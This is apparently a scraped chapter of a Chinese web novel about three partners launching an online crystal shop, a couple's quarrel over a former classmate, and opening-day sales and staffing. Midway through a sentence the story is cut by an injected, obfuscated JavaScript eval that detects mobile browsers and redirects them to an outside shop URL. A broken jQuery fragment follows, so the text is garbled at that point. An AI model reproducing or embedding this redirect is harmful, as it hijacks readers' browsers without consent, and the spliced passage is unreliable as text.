来人闲散站立,身上穿的是简单的白T,明明态度温和,却给景禹林一种高高在上的不适感。
亲和得过了头,是极度的轻蔑。
景禹林看着他,以及站在他身侧的蔺安君,心中升腾起极度的羞耻感。
“不用。”
说完这句话,景禹林转身离开。
蔺安君原本处于蓄势待发的吵架状态,被方跃这么一大段弄得直接熄了火。
不过。
她跟方跃说的是回学校,却又出现在了这里,还有个男的在一起……
有点麻烦。该从何说起呢?
蔺安君跟在方跃的后面,踩着他的影子低头往前走。
手里拎着的购物袋巨沉无比,蔺安君换了只手,进了电梯后默不作声地将袋子勾回方跃空着的手。
电梯内壁倒映着他们的身影,蔺安君看着方跃的脸,表情很平淡,但和她没有对视,也没有开口跟她说一句话。
蔺安君觉得怪怪的,今天聊天的时候觉得他的情绪还是好的,怎么突然又是一副生人勿扰,熟人滚开的态度。
电梯门叮的一声打开,方跃先走了出去,蔺安君跟在他后面按了密码,将门推开,顺手将屋子里的灯也一并打开。
蔺安君把书包放到了餐桌椅上,正要去厨房倒水,发现方跃就这么静静地站在门口。
蔺安君不明所以,走过去还没说什么,方跃先来了句,“玩我玩得开心吗?”
蔺安君完全听不懂,只知道他的表情冷冰冰的,很锋利,语气也不像疑问,更像是直接定责。
“说处理干净,就是这么处理的。”
“如果不是今天被我撞见,现在站在这儿的还是我吗?”
蔺安君隐隐觉得有什么东西被自己遗漏了,面对方跃莫名其妙的质问,她觉得很奇怪,“你说什么呢?”
“今天高中同学聚会结束,他送我回来,但我没让他送我回来。”蔺安君这么一解释才发现讲清楚是一件很困难的事情,“他现在就是我的高中同学……”
方跃点头:“高中同学。”
“可以在大学校园里一起深夜散步的高中同学。”
蔺安君突然反应过来,他一直说的处理干净是什么了。
她一直觉得胡瀚林对她的分析和推测都非常可笑,但她没想到,方跃也是这么认为的。
他认为她在跟他保持不明不白的关系的同时,跟景禹林不清不楚着。
思考着的该如何言简意赅的解释,在陡然升起的愤怒中尽数消失。
她平静地说:“我跟他没有关系。”
方跃盯着她,“你证明给我看啊。”
蔺安君反问:“怎么证明?”
方跃听着她极度冷静,不带有一丝情绪的声音,简直要被愤怒和不甘冲昏了头脑,似笑非笑道:“你说说看呢?”
蔺安君面无表情道:“要亲你吗?”
“还是跟你睡?”
她言语平静,却咄咄逼人,“这个好像不能证明吧?”
“我跟他没有关系,可以跟你保持亲密;但跟你保持亲密,不代表我跟他没有关系。”
“是什么来着,充分不必要条件。”
她学着他的话语,前两个字加强了重音,“高中学的。”
然后语气重返平淡:“还有别的可以证明的吗?说来听听。”
停顿了几秒,她恍然大悟般发出真诚的疑惑,“但我好像没答应跟你在一起吧?需要证明吗?”
方跃直接摔门离去。
第二天,会议在无人应答的群聊里解散。
胡瀚林猜这两人肯定是又出幺蛾子了,懒得理,不过隔天店铺正式开业,三人依旧是聚到了一起。
怎么?敢不来?剪彩用的红绸子都买了!
胡瀚林还扒出了压箱底的粉红色短袖,为的就是图个喜庆。
开售前半个小时,胡瀚林把店铺数据后台打开,蔺安君和方跃分别坐在他两侧,红绸子从左到右摆成一长条,三个人映得红光满面,手上各干着各的,还算和谐。
胡瀚林在嚼着薯片,不断地给朋友打电话。
“对,九点,记得准点买。”
“我还请你吃饭?大额券亏死我了,到底谁请谁吃饭?样品都送你多少了?还敢狮子大开口!”
“喂?对,九点,不要忘了。”
打了十几个,胡瀚林有点累了,终于停止骚扰,开了瓶可乐,“尽力了尽力了。嘶,但我把我妈我爸给屏蔽了。实在是怕他们搞我心态。”
蔺安君盯着购物平台的搜索框,时不时搜一次,测试关键词的优先级,“今天的成交单量应该会还可以,挣是挣不了多少,主要看后续的线上营销。”
“没事儿,肯定行,咱日子选的都是吉日,今天我爸妈参加我表舅的婚礼去了,说是看黄历选的,咱们没选都撞上今天,天选之子。”
蔺安君在旁边配合地点了点头。
至于另一边的方跃,则是从他们进门到现在一声没吭过。
离开售还有一分钟,胡瀚林将定做的银质小剪刀分发下去,“来来来,剪彩剪彩。”
蔺安君和方跃接过去,三人一人捏着一端红色丝绸,将彩头剪成三段,安静地完成了开业仪式。
也许之前还涌现着若有若无的尴尬气氛,但现在大家的注意力都集中在了屏幕上设置的倒计时。
10,9,8……3,2,1。
成交数据和成交金额逐渐在变化,他们认真地看着。
截止开售一分钟,成交量是380笔,五分钟后达到了730笔,这个数字相当可观,说明了他们的初期宣传力度是有用的。
由于发放了不小数额的代金券,目前的实际成交金额不算高,但是不至于入不敷出,好的开始是成功的一半,今天的发售给了他们信心,最起码,稳步运行和力挽狂澜相比让人没那么大压力。
胡瀚林重重地吐了口气,“行了,歇着吧。”
蔺安君把电脑往自己这边挪过来一点,登陆工作台,开始查看客服运营聊天记录,目前只有三条,通过聊天内容大概可以判断出来是平台推流+关键词搜索点进来的。
胡瀚林也跟着瞅,突然感叹了句,“任重道远啊。”
蔺安君把电脑转过去,“不远,你联系一下刘经理,让他加强一下客服培训,这个外包团队好像不太行。”
胡瀚林滑动着鼠标,“怎么了吗?”
蔺安君:“态度挺好,但是客户问一些问题的时候,总是说车轱辘话。”
胡瀚林:“之前不是也考虑过让厂里的员工做客服吗?只不过工作量太大,拨不出人手。”
蔺安君:“还是找厂里年轻的员工让他们负责网络客服吧,最起码顾客问是否有注胶这种问题,能回答得更专业,不同水晶种类的特性也能回答得更清楚。”
“行,我问问,算了,直接拉个腾讯会议。”胡瀚林说干就干,等把刘经理拉进来了才发现,方跃不知道什么时候走了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695691|207542||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
“刘哥,我们开个简短的线上会哈。”
刘经理把屏幕切到灯火通明的工厂,“啊,行啊,正好我还没走呢。”
由于产能不足,工厂暂时没有开辟新的生产线,为了应对后续可能会出现的大量订单,刘经理多招了几十个临时工,让大家轮班干活,白班加工时,夜班不停歇,光是加班费一天都要掏出去好几万。
胡瀚林左右看看,吆喝了声,“方跃你人呢?”
隔了会儿,会议聊天框弹出来个1。
胡瀚林看着这个低眉臊脸的“1”差点没笑出来,估计是又跟蔺安君吵架了,结果姐们儿没怎样,一切如常,哥们儿先不行了。
“哦,刘哥,君姐跟你说。”
胡瀚林挪了个位置把电脑转过去,蔺安君问了会儿工厂加工情况和订单打包进度,刘经理一边走,一边回答,提到新招员工的时候,蔺安君问他招的人够不够,有没有挑选合适的,网感好,性格好的员工进行客服培训。
刘经理坦言:“现在都想挣那个加班费,不怕辛苦不怕累,你让人坐着回消息,都不太愿意。但是你让他们兼职吧,又怕精力不够,不好办。”
“人我是找到了,也培训了,但是情绪不够高,我就怕给你们添乱。”
蔺安君想了想说:“厂里本地的员工有没有待业在家没有工作的亲戚朋友?身体有缺陷的也可以,不影响打字就行,可以给他们在厂里安排个工位,做客服工资虽然不高,但还算稳定,相关业务也不需要刻意培训。”
刘经理一愣:“你别说,还真有,我等下就问问。”
蔺安君:“要脾气好的,工资正常给,最好上过高中,年龄在19到45岁之间。”
会议结束,胡瀚林说:“你之前不还说地方小,熟人多,不好管理?”
蔺安君低头在备忘录里记了点内容,“益海的核心产业就是水晶,人人熟悉,甚至可以说,带有感情。”
“我们的售后服务是很重要的一环,外包团队良莠不齐,做得不好确实可以换,但口碑下来了,维护上去的成本是非常高的。”
“找厂里员工的熟人或亲戚相对来说筛掉了一些不懂行的,同样也会有种链接关系,类似你妈卖衣服,你把衣服卖给同学,你会夸得更到位,也更愿意卖,因为是利益共同体。”
“大概这样?”
胡瀚林思索着说:“有道理。”
蔺安君收起手机,“推流博主已经把视频发我了,我刚刚上传到了群文件,你们看一遍,哪里需要修改或者需要增加,标注出来及时反馈。”
胡瀚林伸了个懒腰,“okk,要不要点点儿吃的?”
蔺安君起身,“我回去了,明天还要上课。”
“这么忙啊君姐。”胡瀚林往卧室看了眼,压低了声音,“要不我去你家待会儿吧,咱俩吃个外卖?之前还说一起打游戏来着,我一个人回家也挺无聊的。”
蔺安君没有拒绝,她的心里空落落的,本该开心的夜晚,却有点难受。
胡瀚林打了个响指,“我去跟方跃说声我们走了。”
蔺安君换好鞋在门口等着,胡瀚林过了会儿磨磨蹭蹭地从卧室出来,试探着问:“要不你先回去?我再跟方跃说个事儿?”
蔺安君不着痕迹地松了口气,点点头,一个人出了门。
胡瀚林在客厅扒拉了会儿,什么都没找到,回到卧室又摸了摸方跃的额头,有点犯愁地说:“大哥,你到底什么时候发烧的?”